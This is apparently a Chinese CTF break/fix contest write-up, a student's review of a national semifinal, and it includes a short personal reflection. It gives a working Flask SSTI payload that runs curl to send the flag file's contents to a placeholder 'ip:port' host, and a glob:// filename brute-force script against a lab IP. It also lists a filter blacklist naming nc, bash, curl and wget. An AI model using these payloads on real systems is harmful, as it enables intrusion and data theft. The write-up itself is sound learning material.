国赛复盘

24号参加了国赛半决赛(华东北赛区),趁周末复盘一下。

python-1

break

这是个很明显的SSTI,刚前两天刚认识一个专用于flask模板注入的工具,靶场测试时几乎能做到通杀,所以没有学习更高级的用法,不巧的是这题偏偏没有打通。其实fenjing进行fuzz测试时已经给出了payload,只是print被禁了,无法回显,只需要将payload修改为配合curl命令进行文件内容读取即可。

1
name={%set x=cycler.next.__globals__.__builtins__.__import__('os')['p''open']('cu'+'rl http://ip:port/`sort /fl*`').read()%}

fix

过滤{%%}即可。

1
blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args","{%","%}"]

python-2

break

flag就在db文件里,很无语。预期解应该是个sql注入。

php-3

break

利用glob协议进行文件名爆破,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import random
import string

url = "http://192.63.1.191/?path=glob:///var/www/html/"
ss = "abcdefghijklmnopqrstuvwxyz0123456789"
path = ""

for i in range(16):
for s in ss:
resp = requests.get(url + path + s + "*.php")
if "yes" in resp.text:
path += s
print(path)

拿到文件名后,nl绕过过滤读取flag。

fix

把nl、tac等一些字符加入黑名单就好。这时候离谱的事情就出现了,后面怎么fix,前端代码就怎么高亮,意识到不对劲,但没深究,很可惜,否则就通杀了。

java-1

fix

SSRF绕过本地限制,执行远程js文件,修的时候禁止执行远程js。
代码审计能力还是不够,思路不流畅。

总结

这次比赛最大的感受还是经验不足,对出现的问题不够敏感。在做php-3修复的时候发现了一些问题,但没有那种敏感性让我立马跟进思考。结束才知道break和fix给的是同一台机器,后悔莫及。另一点就是代码审计能力实在有待提升,面对一整个项目,审计时无从下手。平时要多看WP,多逛知识星球,掌握多种语言包括但不限于php、python、java、go的基本项目结构与函数跟踪技巧。

最终结果是赛区二等奖,不算很差,但作为“收官之战”还是有些遗憾。不知道下次接触CTF会是哪天,也可能这次就是与它的“永别”。我一直把网安当做我的梦想,CTF则在我闲暇之余作为一种消遣。高考志愿中我所有志愿院校的第一志愿都是信安,现在也算如愿以偿了,只不过是以一种没预想过的方式。

我当然清楚“这些东西用不上的”,也不想自我感动式地“追逐梦想”,做这些事只是因为喜欢,喜欢在各种系统中找到漏洞带来的新奇与挑战。或许日复一日,这种新奇也会慢慢消失,但对此时此刻的我,这就是最大的意义与价值,有价值的东西值得慢慢去做,值得花足够的时间去做。